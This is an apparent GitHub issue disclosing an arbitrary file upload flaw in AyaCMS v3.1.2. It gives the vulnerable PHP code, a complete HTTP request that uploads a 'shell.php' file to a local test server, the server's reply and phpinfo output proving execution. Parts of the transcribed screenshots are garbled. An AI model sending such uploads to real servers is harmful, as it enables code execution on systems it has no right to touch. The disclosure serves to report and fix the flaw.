

[New issue](#)[Jump to bottom](#)

Anyacms v3.1.2 has an Arbitrary File Upload Vulnerability #3

[Open](#) 0xngs opened this issue on Oct 6 · 0 comments

0xngs commented on Oct 6

Vulnerable path /aya/module/admin/fst_upload.inc.php

Lines 11-15 of the "fst.upload.inc.php" file do not judge the uploaded file name suffix and file content, so arbitrary files can be uploaded, resulting in arbitrary code execution vulnerabilities

```
C: > Users > > Downloads > AyaCMS-master > AyaCMS-master > aya > module > admin > fst_upload.inc.php
1  <?php
2  defined('IN_AYA') or exit('Access Denied');
3
4  $file=(string)$_GET['file'];
5  false===check_path($file)&&amsg(1('参数错误'),'w');
6
7  $path=ROOT.$file;
8  if(lis_dir($path))
9      amsg(1('路径不存在'),'w');
10
11  $targetFile=$path.'/'.$FILES['upfile']['name'];
12
13  if(move_uploaded_file($FILES['upfile']['tmp_name'], $targetFile))
14      amsg(1('已上传,正在返回'),'s',AYA_ADMIN_URL.'?action=fst&file='.$file);
15  else amsg(1('失败'),'w');
16
17
```

Vulnerability exploitation process:

```
POST /admin.php?action=fst_upload&file= HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----
-19139953963909426187499573422
Content-Length: 253
Origin: http://127.0.0.1:8080
Connection: close
Referer: http://127.0.0.1:8080/admin.php?action=fst
Cookie: PHPSESSID=df5df4jinm0nvp4vfkm6t3fjr1; amsg=; aclass=; aya_template=pc;
aya_auth=V2UQGA8%2BEiJCfV87V2ZTV19vDD4MOEckT3cEahZ4UmpAIRYmCz0CM1A3XWdBJ0IoW24AMQtuVDVXPgM5BGJba1cxEC

Upgrade-Insecure-Requests: 1
```

Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----19139953963909426187499573422
Content-Disposition: form-data; name="upfile"; filename="shell.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
-----19139953963909426187499573422--



Request

1 POST /admin.php?action=fst_upload&file= HTTP/1.1

2 Host: 127.0.0.1:8080

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0

4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 Content-Type: multipart/form-data; boundary=-----19139953963909426187499573422

8 Content-Length: 253

9 Origin: http://127.0.0.1:8080

10 Connection: close

11 Referer: http://127.0.0.1:8080/admin.php?action=fst

12 Cookie: PHPSESSID=df5df4jinn0nvp4vfk6t3fjr1; amsg=: aclass=: aya_template=pe; aya_auth=V2U0GA8%2BEjGCfV87V2ZTVI9vDD4M0EcKt3cEahZ4UmpAIRmCzOCMI3XWdBJ0iW24AMQtUVDXPgMSBGJba1cxECkP0xJk2BQIVYfFcxU24

13 Upgrade-Insecure-Requests: 1

14 Sec-Fetch-Dest: document

15 Sec-Fetch-Mode: navigate

16 Sec-Fetch-Site: same-origin

17 Sec-Fetch-User: ?1

18

19 -----19139953963909426187499573422

20 Content-Disposition: form-data; name="upfile"; filename="shell.php"

21 Content-Type: application/octet-stream

22

23 <?php phpinfo();?>

24 -----19139953963909426187499573422---

25

Response

152

153

154

155

156

157 </div>

158 <!-- /.navbar-collapse -->

159 </div>

160 <!-- /.container-fluid -->

161 </nav>

162 </div>

163 <div id="container">

164 <div class="row">

165 <div class="col-md-2">

166 </div>

167 <div class="col-md-8">

168

169 <div style="height:50px">

170 </div>

171 <div class="alert alert-success">

172 已上传, 正在返回

173 </div>

174 <div style="height:150px">

175 </div>

176 </div>

177 <div class="col-md-2">

178 </div>

179 </div>

</div>

<script type="text/javascript">

\$(function() {

setTimeout(function() {

location="http://127.0.0.1:8080/admin.php?action=fst&file=";

}, 3000);

}

127.0.0.1:8080/admin.php?action=fst&file=

常用网址

首页 系统设置 内容维护 栏目管理 API 文件编辑

根目录

风格

上传

备份

缓存

语言

模型

菜单

/ 根目录


| 名称 | 修改日期 | 类型 | 大小 | 权限 | |
|---------------|------------------|----------|-------|-----|-------|
| aya | 2022-10-06 20:59 | | 4096 | r w | ✖ 重命名 |
| dem_book | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_changin | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_guangyu | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_home | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_page | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_pic | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_search | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_sitemap | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_tag | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_ucenter | 2022-10-06 20:52 | | 4096 | r w | ✖ 重命名 |
| dem_video | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| dem_wenzhang | 2022-10-06 20:52 | | 0 | r w | ✖ 重命名 |
| htaccess | 2020-06-05 11:09 | htaccess | 396 | r w | ✖ 重命名 |
| README.md | 2020-06-05 11:09 | md | 680 | r w | ✖ 重命名 |
| admin.php | 2020-06-05 11:09 | php | 175 | r w | ✖ 重命名 |
| ajax.php | 2020-06-05 11:09 | php | 15028 | r w | ✖ 重命名 |
| checkcode.php | 2020-06-05 11:09 | php | 265 | r w | ✖ 重命名 |
| index.php | 2020-06-05 11:09 | php | 374 | r w | ✖ 重命名 |
| info.php | 2020-06-05 11:09 | php | 16 | r w | ✖ 重命名 |
| install.php | 2020-06-05 11:09 | php | 10766 | r w | ✖ 重命名 |
| shell.php | 2022-10-06 21:42 | php | 18 | r w | ✖ 重命名 |

phpinfo()

127.0.0.1:8080/shell.php

常用网址

PHP Version 5.4.45



| | |
|-------------------|---|
| System | Windows NT DESKTOP-5FEVPU6 6.2 build 9200 (Windows 8 Home Premium Edition) i586 |
| Build Date | Sep 2 2015 23:45:20 |
| Compiler | MSVC9 (Visual C++ 2008) |
| Architecture | x86 |
| Configure Command | cscrip /nologo configure.js "--enable-snapshot-build" "--enable-debug-pack" "--disable-zts" "--disable-isapi" "--disable-nsapi" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8=C:\php-sdk\oracle\instantclient10\sdk,shared" "--with-oci8-11g=C:\php-sdk\oracle\instantclient11\sdk,shared" "--with-enchanted=shared" "--enable-object-out-dir=.\obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--disable-static-analyze" "--with-pgo" |

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

